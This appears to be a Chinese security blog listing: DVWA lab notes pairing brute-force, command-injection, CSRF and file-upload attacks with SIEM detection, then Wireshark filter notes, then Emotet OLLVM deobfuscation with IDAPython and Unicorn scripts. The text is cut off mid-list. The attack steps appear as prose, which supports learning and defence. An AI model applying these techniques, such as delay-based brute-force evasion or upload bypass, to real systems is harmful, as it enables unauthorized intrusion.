Next的小站

恶意代码分析，威胁情报，逆向工程

发表于 分类于 本文字数： 565 阅读时长 ≈ 2 分钟

DVWA

本文章环境介绍：kali linux作为攻击机，windows10作为DVWA靶机，SIEM采集用的是wazuh

image-20260804150046347

image-20260804150118346

image-20260804150514604

Brute Force

low

攻击

将密码设定为变量，使用爆破集来爆破

根据相应长度判断password为正确密码

image-20260804160015642

防御

在wazuh中可以看见来自kali的DHCP记录Suricata保存相应的pcap可用于分析

C:\Program Files\Suricata\log/log.pcap.1785822920

image-20260804162351620

直接搜索包含admin的流量可以看见大量的爆破记录

查看apache日志也可看见大量的爆破记录

image-20260804162912270

medium

攻击

这一关当登陆失败后会堵塞2秒来防止爆破

把密码当做变量然后，用密码集爆破，但是用单请求和每个请求间隔2100ms来规避

依旧是根据回应长度来判断那个是正确密码

防御

查看日志和SIEM可以发现特征基本一致

可能是因为我的爆破速度太慢了没能识别为危险行为

Vulnerability: Command Injection

low

攻击

这个攻击是开发者想要用用户输入的命令直接在shell后执行，但攻击者可以用分隔符来添加自己想要执行的恶意命令

image-20260804173454060

在后面加di显示主机的敏感信息

防御

image-20260804174510536

SIEM采集到执行命令的信息，详细的查看systom

image-20260804175508452

查看流量包也有相关的回应

image-20260804180552890

medium

同样是对一些特殊字符做处理但是，任然可以绕过

CSRF

lowreferen

攻击

主要是利用残留的chiock来确认用户消息可靠，用于修改密码等

防御

可以查看sucarita流下的流量包来溯源

image-20260808180022106

medium

中等难度的就是加了个referer头效验，但是burpsuit抓包依旧可以改变

File Upload

low

攻击

本来是要传送图片，我们可以改变文件后缀，抓包改变文件形式的方法来攻击

防御

可以看见siem系统采集到关于文件落地信息，

查询symon日志，一开始并没有发现日志在，于是我添加规则上传指定路径和jpg格式的文件后才有记录

image-20260808200647537

medium

发表于 分类于 本文字数： 326 阅读时长 ≈ 1 分钟

Wireshark使用范围

1.网络安全分析

2.应用程序分析

3.故障任务分析

4.分析一般任务

Wireshark查询指令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ip.addr==10.2.9.4
!ip.addr===10.2.9.4
ip.src==10.2.9.4
ip.dst==10.2.9.4
ip.host==www.baidu.com
(ip.src>10.2.7.2&&ip.src<10.2.7.5)&&!ip.src==10.2.7.3
ip.src==10.2.7.0/24
tcp.port==80
tcp.stream eq 0 or tcp.stream eq 3(流的筛选)
http.host==baidu.com
http.response.code==302
http.response==1
http.request==1
http.request.method==POST

Wireshark数据分析

1.查看协议的流可以看具体时如和传输数据和威胁安全

image-20260725174724856

2.查看单个IP的会话或者两个IP之间的会话以便分析

image-20260725175412729

image-20260725175457061

3.协议分层统计

image-20260725175633022

4.IO Graph直观分析

image-20260725180153807

数据处理

1.追踪流时可以保存传输内容

image-20260725180819839

2.可以一键导出同类型的文件

image-20260725180950605

3.capinfos.exe处理大型文件

查看pcap文件

1
capinfos.exe xxxx.pcap

使用命令【editcap.exe -i <每个文件时长，单位：s> < 源文件名 > < 目的文件名 >】，如【editcap.exe -i 20 c:\sql.pcap c:\2\fsql.pcap】，为按照 20s 一个包进行分割。

1
editcap.exe -i 20 c:\sql.pcap c:\2\fsql.pcap

4.数据包分割

image-20260725181901913

5.tshark.exe提取特定数据

例如

1
tshark.exe -r c:\http.pcapng -T fields -e frame.number -e ip.src -e ip.dst -e http.request.method

命令为从 http.pcapng 中提取 HTTP 协议中的源地址、目的地址、请求方法和对应的帧号，便于定位哪个帧

发表于 分类于 本文字数： 6.4k 阅读时长 ≈ 23 分钟

ollvm来源

分析Emotet木马时，shellcode代码是用ollvm混淆保护，D-810分析失败，所以尝试用模拟执行来还原代码逻辑

emotet木马shellcode获取过程

image-20260724163715486

初步分析该木马使用自定义的加载方式来加载，多重加密和内存映射形成shellcode，使用动态调试的办法来获取shellcode

image-20260724164335758

path改变路径，动调得shellcode

image-20260724164838663

ollvm模拟执行去混淆

image-20260724164926140

首先查看预分发器，ret块

预分发器

image-20260724165300758

ret块

image-20260724165439305

思路

1.先用idaapi脚本，得到真实块和虚假块

2.然后用unicorn模拟器得到执行路径

3.最后用idapython批量化去跳转和虚假块

脚本1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import idaapi
import idc

func_start    = 0x00000223C7CDB370
process_path  = 0x00000223C7CDB375
fun_ret       = 0x00000223C7CDFFE2
offset        = 0x223C7CB1000-0x400000

true_blocks = set()
fake_blocks = set()

func = idaapi.get_func(func_start)
if func is None:
    print("获取函数失败！")
else:
    flowchart = idaapi.FlowChart(func)
    print("analyzing function...")

    for block in flowchart:
        start_ea = block.start_ea
        end_ea   = idc.prev_head(block.end_ea)

        if start_ea == process_path:
            fake_blocks.add((start_ea, end_ea))
            for pred in block.preds():
                true_blocks.add((pred.start_ea, idc.prev_head(pred.end_ea)))
            continue
        if start_ea == fun_ret:
            true_blocks.add((start_ea, end_ea))
            continue
        if start_ea == func_start:
            true_blocks.add((start_ea, end_ea))

    for block in flowchart:
        key = (block.start_ea, idc.prev_head(block.end_ea))
        if key not in true_blocks:
            fake_blocks.add(key)
print("----------------------------------------------------")
for t in sorted(true_blocks):
    print(f"({hex(t[0] - offset)},{hex(t[1] - offset)}),", end="")
for t in sorted(fake_blocks):
    print(f"({hex(t[0]-offset)},{hex(t[1]-offset)}),",end="")
print("----------------------------------------------------")

脚本2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
from unicorn import *
from unicorn.x86_const import *
from capstone import *

orig_start = 0x00000231F666B370
orig_end   = 0x00000231F666FFE6

base_addr  = 0x400000
code_addr  = base_addr
code_size  = orig_end - orig_start
stack_addr = 0x200000
stack_size = 1024 * 1024

main_addr = 0x2A370+base_addr
main_end  = 0x347A6+base_addr + code_size

TBS = [
   (0x42a370,0x42a370),(0x42c9a4,0x42c9c0),(0x42c9c5,0x42c9d4),(0x42c9d9,0x42c9ea),(0x42c9ef,0x42ca0c),(0x42ca25,0x42ca2b),(0x42ca30,0x42ca36),(0x42ca3b,0x42ca57),(0x42ca5c,0x42ca6b),(0x42ca70,0x42ca7e),(0x42ca83,0x42caa2),(0x42cabd,0x42cac3),(0x42cac8,0x42cace),(0x42cae8,0x42caee),(0x42caf3,0x42caf9),(0x42cafe,0x42cb20),(0x42cb25,0x42cb39),(0x42cb5c,0x42cb62),(0x42cb67,0x42cb6d),(0x42cb72,0x42cb84),(0x42cb9b,0x42cba1),(0x42cba6,0x42cbac),(0x42cbb1,0x42cbc3),(0x42cbc8,0x42cbde),(0x42cbe3,0x42cbfd),(0x42cc02,0x42cc15),(0x42cc1a,0x42cc36),(0x42cc3b,0x42cc4d),(0x42cc52,0x42cc6c),(0x42cc71,0x42cc7e),(0x42cc83,0x42cc95),(0x42ccbf,0x42ccc5),(0x42ccca,0x42ccd0),(0x42ccf3,0x42ccf9),(0x42ccfe,0x42cd04),(0x42cd09,0x42cd29),(0x42cd2e,0x42cd40),(0x42cd45,0x42cd62),(0x42cd67,0x42cd79),(0x42cd7e,0x42cd8c),(0x42cd91,0x42cda3),(0x42cdcc,0x42cdd2),(0x42cdd7,0x42cddd),(0x42cde2,0x42cdf7),(0x42cdfc,0x42ce1d),(0x42ce3e,0x42ce44),(0x42ce49,0x42ce4f),(0x42ce54,0x42ce60),(0x42ce65,0x42ce75),(0x42ce7a,0x42ce92),(0x42ce97,0x42cea4),(0x42cea9,0x42ceb7),(0x42cebc,0x42cedb),(0x42cee0,0x42ceed),(0x42cef2,0x42cf10),(0x42cf15,0x42cf26),(0x42cf2b,0x42cf4c),(0x42cf51,0x42cf6b),(0x42cf8b,0x42cf91),(0x42cf96,0x42cf9c),(0x42cfa1,0x42cfbc),(0x42cfc1,0x42cfce),(0x42cfd3,0x42cfe2),(0x42cfe7,0x42d003),(0x42d008,0x42d02a),(0x42d02f,0x42d04a),(0x42d04f,0x42d06f),(0x42d092,0x42d098),(0x42d09d,0x42d0a3),(0x42d0a8,0x42d0b7),(0x42d0bc,0x42d0ca),(0x42d0e8,0x42d0ee),(0x42d0f3,0x42d0f9),(0x42d0fe,0x42d10d),(0x42d126,0x42d12c),(0x42d131,0x42d137),(0x42d13c,0x42d150),(0x42d155,0x42d16a),(0x42d16f,0x42d185),(0x42d18a,0x42d1a0),(0x42d1a5,0x42d1bd),(0x42d1c2,0x42d1d9),(0x42d1de,0x42d1fb),(0x42d200,0x42d213),(0x42d218,0x42d225),(0x42d22a,0x42d23d),(0x42d242,0x42d25b),(0x42d277,0x42d27d),(0x42d282,0x42d288),(0x42d28d,0x42d2a7),(0x42d2ac,0x42d2c1),(0x42d2c6,0x42d2d6),(0x42d2db,0x42d2e8),(0x42d2ed,0x42d309),(0x42d30e,0x42d321),(0x42d326,0x42d344),(0x42d349,0x42d359),(0x42d35e,0x42d36e),(0x42d396,0x42d39c),(0x42d3a1,0x42d3a7),(0x42d3ac,0x42d3c5),(0x42d3ca,0x42d3e0),(0x42d3fb,0x42d401),(0x42d406,0x42d40c),(0x42d411,0x42d427),(0x42d44c,0x42d452),(0x42d457,0x42d45d),(0x42d462,0x42d479),(0x42d47e,0x42d48b),(0x42d490,0x42d4a4),(0x42d4a9,0x42d4b6),(0x42d4bb,0x42d4d3),(0x42d4d8,0x42d4ee),(0x42d510,0x42d516),(0x42d51b,0x42d521),(0x42d526,0x42d545),(0x42d559,0x42d55f),(0x42d564,0x42d56a),(0x42d593,0x42d599),(0x42d59e,0x42d5a4),(0x42d5a9,0x42d5c8),(0x42d5cd,0x42d5de),(0x42d5e3,0x42d5fd),(0x42d602,0x42d616),(0x42d61b,0x42d635),(0x42d63a,0x42d64b),(0x42d650,0x42d664),(0x42d669,0x42d679),(0x42d67e,0x42d68e),(0x42d6a5,0x42d6ab),(0x42d6b0,0x42d6b6),(0x42d6bb,0x42d6d2),(0x42d6f3,0x42d6f9),(0x42d6fe,0x42d704),(0x42d709,0x42d716),(0x42d71b,0x42d72e),(0x42d745,0x42d74b),(0x42d750,0x42d756),(0x42d75b,0x42d76b),(0x42d78b,0x42d791),(0x42d796,0x42d79c),(0x42d7bd,0x42d7c3),(0x42d7c8,0x42d7ce),(0x42d7d3,0x42d7e8),(0x42d7ed,0x42d7fb),(0x42d800,0x42d80f),(0x42d814,0x42d828),(0x42d82d,0x42d83d),(0x42d842,0x42d85d),(0x42d87c,0x42d882),(0x42d887,0x42d88d),(0x42d892,0x42d8a2),(0x42d8a7,0x42d8b5),(0x42d8ba,0x42d8c5),(0x42d8ca,0x42d8dc),(0x42d8f4,0x42d8fa),(0x42d8ff,0x42d905),(0x42d90a,0x42d926),(0x42d92b,0x42d941),(0x42d946,0x42d95a),(0x42d95f,0x42d97a),(0x42d97f,0x42d991),(0x42d996,0x42d9a9),(0x42d9ae,0x42d9c0),(0x42d9c5,0x42d9e4),(0x42d9fa,0x42da00),(0x42da05,0x42da0b),(0x42da10,0x42da26),(0x42da2b,0x42da37),(0x42da3c,0x42da50),(0x42da55,0x42da6d),(0x42da72,0x42da7b),(0x42da99,0x42da9f),(0x42daa4,0x42daaa),(0x42dac1,0x42dac7),(0x42dacc,0x42dad2),(0x42dad7,0x42dafc),(0x42db01,0x42db14),(0x42db2e,0x42db34),(0x42db39,0x42db3f),(0x42db44,0x42db56),(0x42db5b,0x42db6b),(0x42db70,0x42db83),(0x42db88,0x42dba0),(0x42dba5,0x42dbba),(0x42dbbf,0x42dbdc),(0x42dbe1,0x42dbf2),(0x42dc19,0x42dc1f),(0x42dc24,0x42dc2a),(0x42dc46,0x42dc4c),(0x42dc51,0x42dc57),(0x42dc5c,0x42dc79),(0x42dc7e,0x42dc95),(0x42dcb0,0x42dcb6),(0x42dcbb,0x42dcc1),(0x42dcc6,0x42dcd8),(0x42dcdd,0x42dcf4),(0x42dcf9,0x42dd0d),(0x42dd29,0x42dd2f),(0x42dd34,0x42dd3a),(0x42dd3f,0x42dd4f),(0x42dd54,0x42dd70),(0x42dd90,0x42dd96),(0x42dd9b,0x42dda1),(0x42ddba,0x42ddc0),(0x42ddc5,0x42ddcb),(0x42ddd0,0x42ddde),(0x42dde3,0x42de09),(0x42de25,0x42de2b),(0x42de30,0x42de36),(0x42de53,0x42de59),(0x42de5e,0x42de64),(0x42de89,0x42de8f),(0x42de94,0x42de9a),(0x42de9f,0x42deb8),(0x42debd,0x42dee2),(0x42def9,0x42deff),(0x42df04,0x42df0a),(0x42df0f,0x42df24),(0x42df29,0x42df39),(0x42df55,0x42df5b),(0x42df60,0x42df66),(0x42df6b,0x42df7a),(0x42df7f,0x42df8c),(0x42df91,0x42dfa0),(0x42dfa5,0x42dfb5),(0x42dfba,0x42dfd2),(0x42dfd7,0x42dfec),(0x42dff1,0x42e009),(0x42e00e,0x42e022),(0x42e04a,0x42e050),(0x42e055,0x42e05b),(0x42e060,0x42e06f),(0x42e08c,0x42e092),(0x42e097,0x42e09d),(0x42e0a2,0x42e0b5),(0x42e0ba,0x42e0c5),(0x42e0df,0x42e0e5),(0x42e0ea,0x42e0f0),(0x42e0f5,0x42e10c),(0x42e111,0x42e129),(0x42e12e,0x42e14a),(0x42e14f,0x42e163),(0x42e168,0x42e184),(0x42e19b,0x42e1a1),(0x42e1a6,0x42e1ac),(0x42e1b1,0x42e1bf),(0x42e1c4,0x42e1d0),(0x42e1d5,0x42e1f8),(0x42e1fd,0x42e212),(0x42e217,0x42e22e),(0x42e233,0x42e240),(0x42e245,0x42e259),(0x42e25e,0x42e271),(0x42e276,0x42e289),(0x42e28e,0x42e2a7),(0x42e2ac,0x42e2bc),(0x42e2c1,0x42e2ce),(0x42e2d3,0x42e2f4),(0x42e30e,0x42e314),(0x42e319,0x42e31f),(0x42e324,0x42e33a),(0x42e35c,0x42e362),(0x42e367,0x42e36d),(0x42e387,0x42e38d),(0x42e392,0x42e398),(0x42e39d,0x42e3b2),(0x42e3b7,0x42e3d4),(0x42e3d9,0x42e3f1),(0x42e414,0x42e41a),(0x42e41f,0x42e425),(0x42e43c,0x42e442),(0x42e447,0x42e44d),(0x42e452,0x42e466),(0x42e46b,0x42e48a),(0x42e48f,0x42e49e),(0x42e4a3,0x42e4b4),(0x42e4c8,0x42e4ce),(0x42e4d3,0x42e4d9),(0x42e4de,0x42e4ee),(0x42e512,0x42e518),(0x42e51d,0x42e523),(0x42e528,0x42e534),(0x42e539,0x42e54f),(0x42e554,0x42e566),(0x42e56b,0x42e58a),(0x42e58f,0x42e5a7),(0x42e5ac,0x42e5c3),(0x42e5de,0x42e5e4),(0x42e5e9,0x42e5ef),(0x42e5f4,0x42e609),(0x42e60e,0x42e61f),(0x42e64a,0x42e650),(0x42e655,0x42e65b),(0x42e673,0x42e679),(0x42e67e,0x42e684),(0x42e69a,0x42e6a0),(0x42e6a5,0x42e6ab),(0x42e6b0,0x42e6c9),(0x42e6ce,0x42e6e7),(0x42e6ec,0x42e704),(0x42e72a,0x42e730),(0x42e735,0x42e73b),(0x42e740,0x42e74f),(0x42e769,0x42e76f),(0x42e774,0x42e77a),(0x42e797,0x42e79d),(0x42e7a2,0x42e7a8),(0x42e7bf,0x42e7c5),(0x42e7ca,0x42e7d0),(0x42e7d5,0x42e7eb),(0x42e7f0,0x42e809),(0x42e80e,0x42e820),(0x42e825,0x42e83a),(0x42e83f,0x42e853),(0x42e858,0x42e874),(0x42e879,0x42e897),(0x42e89c,0x42e8af),(0x42e8b4,0x42e8ce),(0x42e8ea,0x42e8f0),(0x42e8f5,0x42e8fb),(0x42e900,0x42e910),(0x42e915,0x42e931),(0x42e936,0x42e947),(0x42e94c,0x42e95f),(0x42e964,0x42e975),(0x42e97a,0x42e987),(0x42e98c,0x42e9ae),(0x42e9b3,0x42e9d3),(0x42e9d8,0x42e9e6),(0x42ea04,0x42ea0a),(0x42ea0f,0x42ea15),(0x42ea1a,0x42ea30),(0x42ea35,0x42ea54),(0x42ea59,0x42ea71),(0x42ea76,0x42ea84),(0x42ea89,0x42eaa2),(0x42ead0,0x42ead6),(0x42eadb,0x42eae1),(0x42eae6,0x42eb01),(0x42eb06,0x42eb18),(0x42eb1d,0x42eb38),(0x42eb3d,0x42eb52),(0x42eb57,0x42eb69),(0x42eb80,0x42eb86),(0x42eb8b,0x42eb91),(0x42eb96,0x42ebac),(0x42ebb1,0x42ebd2),(0x42ebd7,0x42ebe4),(0x42ebe9,0x42ebfd),(0x42ec02,0x42ec18),(0x42ec1d,0x42ec30),(0x42ec35,0x42ec52),(0x42ec69,0x42ec6f),(0x42ec74,0x42ec7a),(0x42ec7f,0x42ec8f),(0x42ec94,0x42eca9),(0x42ecae,0x42ecbf),(0x42ecc4,0x42ece0),(0x42ed03,0x42ed09),(0x42ed0e,0x42ed14),(0x42ed19,0x42ed29),(0x42ed47,0x42ed4d),(0x42ed52,0x42ed58),(0x42ed76,0x42ed7c),(0x42ed81,0x42ed87),(0x42ed8c,0x42ed9b),(0x42edc2,0x42edc8),(0x42edcd,0x42edd3),(0x42edd8,0x42edec),(0x42edf1,0x42ee0d),(0x42ee2c,0x42ee32),(0x42ee37,0x42ee3d),(0x42ee5b,0x42ee61),(0x42ee66,0x42ee6c),(0x42ee87,0x42ee8d),(0x42ee92,0x42ee98),(0x42eebb,0x42eec1),(0x42eec6,0x42eecc),(0x42eeed,0x42eef3),(0x42eef8,0x42eefe),(0x42ef03,0x42ef17),(0x42ef38,0x42ef3e),(0x42ef43,0x42ef49),(0x42ef4e,0x42ef74),(0x42ef79,0x42ef96),(0x42efaf,0x42efb5),(0x42efba,0x42efc0),(0x42efc5,0x42efdd),(0x42efe2,0x42efe6),(0x42efe7,0x42eff4),(0x42f00e,0x42f014),(0x42f019,0x42f01f),(0x42f024,0x42f038),(0x42f03d,0x42f04c),(0x42f051,0x42f069),(0x42f06e,0x42f07e),(0x42f0a8,0x42f0ae),(0x42f0b3,0x42f0b9),(0x42f0be,0x42f0c9),(0x42f0ce,0x42f0e0),(0x42f0fd,0x42f103),(0x42f108,0x42f10e),(0x42f113,0x42f12f),(0x42f134,0x42f14e),(0x42f16b,0x42f171),(0x42f176,0x42f17c),(0x42f1a4,0x42f1aa),(0x42f1af,0x42f1b5),(0x42f1ba,0x42f1d6),(0x42f1ff,0x42f205),(0x42f20a,0x42f210),(0x42f215,0x42f231),(0x42f236,0x42f247),(0x42f266,0x42f26c),(0x42f271,0x42f277),(0x42f27c,0x42f296),(0x42f29b,0x42f2b3),(0x42f2cd,0x42f2d3),(0x42f2d8,0x42f2de),(0x42f2e3,0x42f2f4),(0x42f2f9,0x42f309),(0x42f30e,0x42f31e),(0x42f323,0x42f330),(0x42f335,0x42f347),(0x42f34c,0x42f361),(0x42f384,0x42f38a),(0x42f38f,0x42f395),(0x42f39a,0x42f3a8),(0x42f3cb,0x42f3d1),(0x42f3d6,0x42f3dc),(0x42f3f3,0x42f3f9),(0x42f3fe,0x42f404),(0x42f409,0x42f424),(0x42f429,0x42f43d),(0x42f452,0x42f458),(0x42f45d,0x42f463),(0x42f468,0x42f478),(0x42f47d,0x42f4a1),(0x42f4c9,0x42f4cf),(0x42f4d4,0x42f4da),(0x42f4df,0x42f4ec),(0x42f4f1,0x42f509),(0x42f50e,0x42f51b),(0x42f520,0x42f536),(0x42f54e,0x42f554),(0x42f559,0x42f55f),(0x42f564,0x42f594),(0x42f599,0x42f5b8),(0x42f5bd,0x42f5d0),(0x42f5d5,0x42f5e5),(0x42f604,0x42f60a),(0x42f60f,0x42f615),(0x42f61a,0x42f626),(0x42f62b,0x42f636),(0x42f63b,0x42f64e),(0x42f653,0x42f67b),(0x42f680,0x42f690),(0x42f695,0x42f6ab),(0x42f6b0,0x42f6c0),(0x42f6c5,0x42f6d1),(0x42f6d6,0x42f6e1),(0x42f6fd,0x42f703),(0x42f708,0x42f70e),(0x42f713,0x42f728),(0x42f72d,0x42f73a),(0x42f73f,0x42f75d),(0x42f762,0x42f77b),(0x42f780,0x42f794),(0x42f7b1,0x42f7b7),(0x42f7bc,0x42f7c2),(0x42f7c7,0x42f7d7),(0x42f7dc,0x42f7fe),(0x42f803,0x42f81c),(0x42f821,0x42f83a),(0x42f83f,0x42f855),(0x42f85a,0x42f86e),(0x42f873,0x42f87f),(0x42f89f,0x42f8a5),(0x42f8aa,0x42f8b0),(0x42f8d9,0x42f8df),(0x42f8e4,0x42f8ea),(0x42f913,0x42f919),(0x42f91e,0x42f924),(0x42f93f,0x42f945),(0x42f94a,0x42f950),(0x42f955,0x42f965),(0x42f97c,0x42f982),(0x42f987,0x42f98d),(0x42f992,0x42f9a3),(0x42f9a8,0x42f9bc),(0x42f9c1,0x42f9d9),(0x42f9fa,0x42fa00),(0x42fa05,0x42fa0b),(0x42fa10,0x42fa23),(0x42fa28,0x42fa36),(0x42fa3b,0x42fa4f),(0x42fa54,0x42fa73),(0x42fa78,0x42fa83),(0x42fa88,0x42fa98),(0x42fab9,0x42fabf),(0x42fac4,0x42faca),(0x42facf,0x42fae4),(0x42fae9,0x42faf4),(0x42faf9,0x42fb0b),(0x42fb10,0x42fb2f),(0x42fb34,0x42fb4a),(0x42fb4f,0x42fb60),(0x42fb65,0x42fb6d),(0x42fb98,0x42fb9e),(0x42fba3,0x42fba9),(0x42fbd0,0x42fbd6),(0x42fbdb,0x42fbe1),(0x42fbe6,0x42fbf1),(0x42fbf6,0x42fc05),(0x42fc29,0x42fc2f),(0x42fc34,0x42fc3a),(0x42fc3f,0x42fc5e),(0x42fc74,0x42fc7a),(0x42fc7f,0x42fc85),(0x42fc8a,0x42fc9c),(0x42fca1,0x42fcc0),(0x42fcc5,0x42fce3),(0x42fd04,0x42fd0a),(0x42fd0f,0x42fd15),(0x42fd1a,0x42fd2f),(0x42fd34,0x42fd4f),(0x42fd54,0x42fd6c),(0x42fd88,0x42fd8e),(0x42fd93,0x42fd99),(0x42fd9e,0x42fdbb),(0x42fdd3,0x42fdd9),(0x42fdde,0x42fde4),(0x42fde9,0x42fe06),(0x42fe0b,0x42fe15),(0x42fe31,0x42fe37),(0x42fe3c,0x42fe42),(0x42fe47,0x42fe5b),(0x42fe60,0x42fe6c),(0x42fe71,0x42fe81),(0x42fe86,0x42fe95),(0x42fe9a,0x42fea6),(0x42feab,0x42fec7),(0x42fecc,0x42fee5),(0x42feea,0x42fef7),(0x42fefc,0x42ff0e),(0x42ff31,0x42ff37),(0x42ff3c,0x42ff42),(0x42ff47,0x42ff5e),(0x42ff63,0x42ff73),(0x42ff78,0x42ff88),(0x42ff8d,0x42ffa4),(0x42ffa9,0x42ffc7),(0x42ffcc,0x42ffdb),(0x42ffe0,0x42fff6),(0x42fffb,0x43001b),(0x430020,0x43003b),(0x43005b,0x430061),(0x430066,0x43006c),(0x430086,0x43008c),(0x430091,0x430097),(0x43009c,0x4300b2),(0x4300cc,0x4300d2),(0x4300d7,0x4300dd),(0x4300e2,0x4300fd),(0x430102,0x430116),(0x43011b,0x43012d),(0x430145,0x43014b),(0x430150,0x430156),(0x43015b,0x43016b),(0x430170,0x430182),(0x430187,0x430197),(0x4301c1,0x4301c7),(0x4301cc,0x4301d2),(0x4301d7,0x4301f5),(0x4301fa,0x430208),(0x43020d,0x430222),(0x430227,0x43023a),(0x43023f,0x430260),(0x430265,0x43027c),(0x4302a1,0x4302a7),(0x4302ac,0x4302b2),(0x4302b7,0x4302c7),(0x4302cc,0x4302dc),(0x4302e1,0x4302f1),(0x430315,0x43031b),(0x430320,0x430326),(0x430349,0x43034f),(0x430354,0x43035a),(0x43035f,0x43036d),(0x43038a,0x430390),(0x430395,0x43039b),(0x4303bc,0x4303c2),(0x4303c7,0x4303cd),(0x4303f2,0x4303f8),(0x4303fd,0x430403)
]
tb_trace = []

cs = Cs(CS_ARCH_X86, CS_MODE_64)
uc = Uc(UC_ARCH_X86, UC_MODE_64)


def hook_code(uc, address, size, user_data):
    try:
        code = uc.mem_read(address, size)
    except:
        return
    for insn in cs.disasm(code, address):
        if insn.mnemonic == "call":
            uc.reg_write(UC_X86_REG_RIP, address + size)
            return
        if insn.mnemonic == "ret":
            print("stop")
            # 先记录 ret 块再停止
            for tb_start, tb_end in TBS:
                if address == tb_end:
                    eflags = uc.reg_read(UC_X86_REG_EFLAGS)
                    zf = (eflags >> 6) & 1
                    tb_trace.append((tb_start, tb_end, zf))
                    break
            uc.emu_stop()
            return
    for tb_start, tb_end in TBS:
        if address == tb_end:
            eflags = uc.reg_read(UC_X86_REG_EFLAGS)
            zf = (eflags >> 6) & 1
            tb_trace.append((tb_start, tb_end, zf))
            break


def hook_mem_invalid(uc, access, address, size, value, user_data):
    access_type = {
        UC_MEM_READ_UNMAPPED: "READ",
        UC_MEM_WRITE_UNMAPPED: "WRITE",
        UC_MEM_FETCH_UNMAPPED: "FETCH",
    }.get(access, "UNKNOWN")
    print(f"[mem] {access_type} at 0x{address:X}")
    if access == UC_MEM_FETCH_UNMAPPED:
        print("-> indirect jump to unmapped, stop tracing")
        uc.emu_stop()
        return True
    return True


def hook_intr(uc, intno, user_data):
    print(f"[int] {intno}")
    return False


def init_unicorn(uc, code_data):
    code_size_aligned = 0x1000000  # 2MB，够大

    uc.mem_map(code_addr, code_size_aligned, UC_PROT_ALL)
    uc.mem_map(stack_addr, stack_size, UC_PROT_ALL)
    # 映射低地址区域，防止 NULL 指针访问崩溃
    uc.mem_map(0x0, 0x10000, UC_PROT_ALL)

    uc.mem_write(code_addr, code_data)

    uc.reg_write(UC_X86_REG_RSP, stack_addr + stack_size // 2)
    # 初始寄存器状态（从调试器dump）
    uc.reg_write(UC_X86_REG_RAX, 0x5115E020)
    uc.reg_write(UC_X86_REG_RBX, 0x1C3E88F1000)
    uc.reg_write(UC_X86_REG_RCX, 0x1C3E88F0000)
    uc.reg_write(UC_X86_REG_RDX, 0x5E3D)
    uc.reg_write(UC_X86_REG_R8,  0x51159879)
    uc.reg_write(UC_X86_REG_R9,  0x2664)
    uc.reg_write(UC_X86_REG_R10, 0)
    uc.reg_write(UC_X86_REG_R11, 0x8E6AA61000)
    uc.reg_write(UC_X86_REG_R12, 0)
    uc.reg_write(UC_X86_REG_R13, 0)
    uc.reg_write(UC_X86_REG_R14, 0)
    uc.reg_write(UC_X86_REG_R15, 0)

    uc.hook_add(UC_HOOK_CODE, hook_code)
    uc.hook_add(UC_HOOK_MEM_UNMAPPED, hook_mem_invalid)
    uc.hook_add(UC_HOOK_INTR, hook_intr)


if __name__ == "__main__":
    with open(r"C:\\Users\\Lenovo\\Desktop\\ollvm_dump.bin", "rb") as f:
        code_data = f.read()
    init_unicorn(uc, code_data)
    try:
        uc.emu_start(main_addr, main_end)
    except UcError as e:
        print(f"Error: {e}")
    print("\ntb_trace:")
    for t in tb_trace:
        print(f"({hex(t[0])}, {hex(t[1])}, {t[2]}), ", end="")

脚本3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
import idaapi
import ida_bytes
import ida_ua
import ida_kernwin
from collections import defaultdict, deque
fake=[
    (0x42a375,0x42a37a),(0x42a380,0x42a381),(0x42a386,0x42a386),(0x42a38c,0x42a391),(0x42a397,0x42a398),(0x42a39d,0x42a39d),(0x42a3a3,0x42a3a8),(0x42a3ae,0x42a3af),(0x42a3b4,0x42a3b4),(0x42a3ba,0x42a3bf),(0x42a3c5,0x42a3c6),(0x42a3cb,0x42a3cb),(0x42a3d1,0x42a3d6),(0x42a3dc,0x42a3dd),(0x42a3e2,0x42a3e2),(0x42a3e8,0x42a3ed),(0x42a3f3,0x42a3f4),(0x42a3f9,0x42a3f9),(0x42a3ff,0x42a404),(0x42a40a,0x42a40b),(0x42a410,0x42a410),(0x42a416,0x42a41b),(0x42a421,0x42a422),(0x42a427,0x42a427),(0x42a42d,0x42a42d),(0x42a432,0x42a437),(0x42a43d,0x42a43e),(0x42a443,0x42a448),(0x42a44e,0x42a44f),(0x42a454,0x42a454),(0x42a45a,0x42a45f),(0x42a465,0x42a466),(0x42a46b,0x42a470),(0x42a476,0x42a477),(0x42a47c,0x42a481),(0x42a487,0x42a488),(0x42a48d,0x42a48d),(0x42a493,0x42a498),(0x42a49e,0x42a49f),(0x42a4a4,0x42a4a4),(0x42a4aa,0x42a4aa),(0x42a4af,0x42a4b4),(0x42a4ba,0x42a4bb),(0x42a4c0,0x42a4c5),(0x42a4cb,0x42a4cc),(0x42a4d1,0x42a4d1),(0x42a4d7,0x42a4dc),(0x42a4e2,0x42a4e3),(0x42a4e8,0x42a4ed),(0x42a4f3,0x42a4f4),(0x42a4f9,0x42a4fe),(0x42a504,0x42a505),(0x42a50a,0x42a50a),(0x42a510,0x42a515),(0x42a51b,0x42a51c),(0x42a521,0x42a521),(0x42a527,0x42a52c),(0x42a532,0x42a533),(0x42a538,0x42a538),(0x42a53e,0x42a53e),(0x42a543,0x42a548),(0x42a54e,0x42a54f),(0x42a554,0x42a559),(0x42a55f,0x42a560),(0x42a565,0x42a565),(0x